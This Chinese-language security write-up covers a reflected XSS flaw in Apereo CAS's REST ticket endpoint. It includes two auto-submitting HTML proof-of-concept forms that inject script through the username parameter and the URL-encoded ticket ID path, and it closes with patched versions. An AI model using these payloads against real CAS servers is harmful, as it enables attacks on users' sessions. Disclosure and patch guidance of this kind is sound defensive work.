Apereo 的漏洞披露称:
通过发送到 REST API 端点的 POST 请求,CAS 容易受到反射跨站点脚本攻击。可以在 URL 上注入有效负载:/cas/v1/tickets/。恶意脚本可以通过票证 ID 或用户名等参数提交给 CAS。这导致 CAS 拒绝请求并产生一个响应,其中易受攻击的参数的值被回显,从而导致其执行。
让我们尝试为票证 API 上的 XSS 漏洞制作一个 PoC。这看起来很简单,因为您只需要将 XSS 负载放入参数“用户名”内或端点路径的末尾(当然是 URL 编码形式)。Apereo CAS 拒绝请求并在 HTTP 响应中回显票证 ID 或用户名,而没有清理或转义,而标头“ Content-Type ”是“ text/html ”。
对于“ username ”参数(路径可以包含或不包含最后一个斜杠“/”):
对于票证 ID(在包含票证 ID 和用户名的请求中,票证 ID 将首先被处理,因此用户名将被忽略):
要利用基于 POST 的 XSS,您需要执行与 CSRF 相同的操作。这意味着你在你的网站上制作了一个恶意的 HTML 文件,通过电子邮件、消息等向受害者发送链接来引诱受害者访问这个文件,然后 HTML 文件中的漏洞利用代码会自动发送 POST 请求以触发 XSS 漏洞.这是一个仅在您使用“用户名”参数在浏览器上打开警报窗口时弹出警报窗口的示例:
<html>
<body onload="document.forms[0].submit()">
<form action="https://example.com/cas/v1/tickets/" method="POST">
<input type="hidden" name="username" value="<img/src/onerror=alert(document.domain)>" />
<input type="hidden" name="password" value="Mellon" />
</form>
</body>
</html>
票证 ID 的另一个示例:
<html>
<body onload="document.forms[0].submit()">
<form action="https://example.com/cas/v1/tickets/%3c%69%6d%67%20%73%72%63%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%64%6f%6d%61%69%6e%29%3e" method="POST">
<input type="hidden" name="username" value="test" />
<input type="hidden" name="password" value="Mellon" />
</form>
</body>
</html>
补丁版本仍然反映了票证的 ID 和“用户名”参数,但它们是 HTML 编码的,不能再触发 XSS 负载。
如果您正在管理 Apereo CAS 服务器,您应该检查服务器的版本并更新到......不是版本 6.3.7.1 和 6.4.2,而是版本6.3.7.4 和 6.4.4.2以缓解这种 XSS 和关键的 Log4J脆弱性也是如此。
补丁版本仍然反映了票证的 ID 和“用户名”参数,但它们是 HTML 编码的,不能再触发 XSS 负载。
如果您正在管理 Apereo CAS 服务器,您应该检查服务器的版本并更新到......不是版本 6.3.7.1 和 6.4.2,而是版本6.3.7.4 和 6.4.4.2以缓解这种 XSS 和关键的 Log4J脆弱性也是如此。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。